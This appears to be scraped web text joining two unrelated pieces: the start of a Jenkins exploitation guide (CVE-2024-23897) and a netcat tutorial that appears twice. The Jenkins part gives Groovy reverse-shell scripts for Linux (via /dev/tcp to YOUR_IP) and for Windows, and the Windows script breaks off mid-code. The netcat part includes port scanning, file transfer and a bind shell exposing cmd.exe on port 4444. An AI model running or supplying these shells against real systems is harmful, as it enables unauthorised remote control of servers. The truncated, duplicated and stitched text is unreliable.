Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Netcat is one of the most powerful and useful tool for testing and debugging the network and protocol connectivity.
Though administrators use this tool for troubleshooting, the attackers can use this for malicious intentions such as establishing a backdoor connectivity, transferring files, scanning ports etc.
Netcat can act as in client-server mode as well. This tool is available for both Windows and Linux.
Lets go through the five most common usage of netcat commands.
1) Check whether the port is Open.
For checking TCP ports :-
#nc -v <IP or Domain name> <port number>
Eg: nc -v www.jaacostan.com 80
For checking UDP ports:-
#nc -vu www.jaacostan.com 53 //where "u" in "-uv" represents UDP.
2) For doing Port Scans
#nc -vzu <IP or Website> <port range>
eg: #nc -vz www.jaacostan.com 100-200
for scanning the opened UDP ports,
#nc -vzu www.jaacostan.com 100-200 //where "u" in "-uzv" represents UDP.
3) Netcat as aClient Server.
Once netcat is installed on a system whose IP is 192.168.1.10,
#nc -l 4444 // executing this command will open up a port listening on 4444.
from another machine, establish a connection with the server.
#nc 192.168.1.10 4444.
4) Transfer a file.
On the server, open a port 4444.
#nc -l 4444 > output // any data receives on this port will be saved on file called named as "output"
In the client, create a sample file. here i created "jaa".
From the client, send the contents of file "jaa".
#cat jaa | nc 192.168.1.1 4444 //Transfer the contents of the file "jaa" to the server.
5) Bind a program to a port and access it.
Bind a program, here CMD to the port number 4444.
#nc -nlvp 4444 -e cmd.exe
establish a connection with the server on port 4444.
#nc -nv 192.168.1.10 4444
This will open up a CMD prompt of server from the client machine.
Though administrators use this tool for troubleshooting, the attackers can use this for malicious intentions such as establishing a backdoor connectivity, transferring files, scanning ports etc.
Netcat can act as in client-server mode as well. This tool is available for both Windows and Linux.
Lets go through the five most common usage of netcat commands.
1) Check whether the port is Open.
For checking TCP ports :-
#nc -v <IP or Domain name> <port number>
Eg: nc -v www.jaacostan.com 80
For checking UDP ports:-
#nc -vu www.jaacostan.com 53 //where "u" in "-uv" represents UDP.
2) For doing Port Scans
#nc -vzu <IP or Website> <port range>
eg: #nc -vz www.jaacostan.com 100-200
for scanning the opened UDP ports,
#nc -vzu www.jaacostan.com 100-200 //where "u" in "-uzv" represents UDP.
3) Netcat as aClient Server.
Once netcat is installed on a system whose IP is 192.168.1.10,
#nc -l 4444 // executing this command will open up a port listening on 4444.
from another machine, establish a connection with the server.
#nc 192.168.1.10 4444.
4) Transfer a file.
On the server, open a port 4444.
#nc -l 4444 > output // any data receives on this port will be saved on file called named as "output"
In the client, create a sample file. here i created "jaa".
From the client, send the contents of file "jaa".
#cat jaa | nc 192.168.1.1 4444 //Transfer the contents of the file "jaa" to the server.
5) Bind a program to a port and access it.
Bind a program, here CMD to the port number 4444.
#nc -nlvp 4444 -e cmd.exe
establish a connection with the server on port 4444.
#nc -nv 192.168.1.10 4444
This will open up a CMD prompt of server from the client machine.